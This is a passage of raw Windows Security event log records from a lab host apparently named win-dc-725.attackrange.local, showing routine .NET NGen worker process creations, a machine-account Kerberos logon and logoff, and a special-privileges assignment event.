Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5b4 -InterruptEvent 0 -NGENProcess 580 -Pipe 42c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254462 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1140 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 42c -InterruptEvent 0 -NGENProcess 5b4 -Pipe 584 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254461 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x248 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 584 -InterruptEvent 0 -NGENProcess 42c -Pipe 524 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254460 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1224 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 524 -InterruptEvent 0 -NGENProcess 584 -Pipe 54c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254459 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12C328 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254458 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12C328 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62464 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254457 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12C328 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254456 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1170 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 54c -InterruptEvent 0 -NGENProcess 524 -Pipe 5a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254455 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5a4 -InterruptEvent 0 -NGENProcess 54c -Pipe 5e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254454 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb90 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5e4 -InterruptEvent 0 -NGENProcess 5a4 -Pipe 570 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254453 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9cc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 570 -InterruptEvent 0 -NGENProcess 5e4 -Pipe 540 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254452 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10dc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 540 -InterruptEvent 0 -NGENProcess 570 -Pipe 5d0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254451 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5d0 -InterruptEvent 0 -NGENProcess 540 -Pipe 5dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254450 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 570 -InterruptEvent 0 -NGENProcess 53c -Pipe 520 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254449 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x374 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 540 -Pipe 5ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254468 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 548 -InterruptEvent 0 -NGENProcess 530 -Pipe 534 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254467 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x898 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 534 -InterruptEvent 0 -NGENProcess 548 -Pipe 59c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254466 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcec - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 59c -InterruptEvent 0 -NGENProcess 534 -Pipe 558 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254465 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1288 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 558 -InterruptEvent 0 -NGENProcess 59c -Pipe 5e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254464 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11d8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 580 -InterruptEvent 0 -NGENProcess 5a0 -Pipe 5b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:03:59 AM -LogName=Security -SourceName=Microsoft Windows security 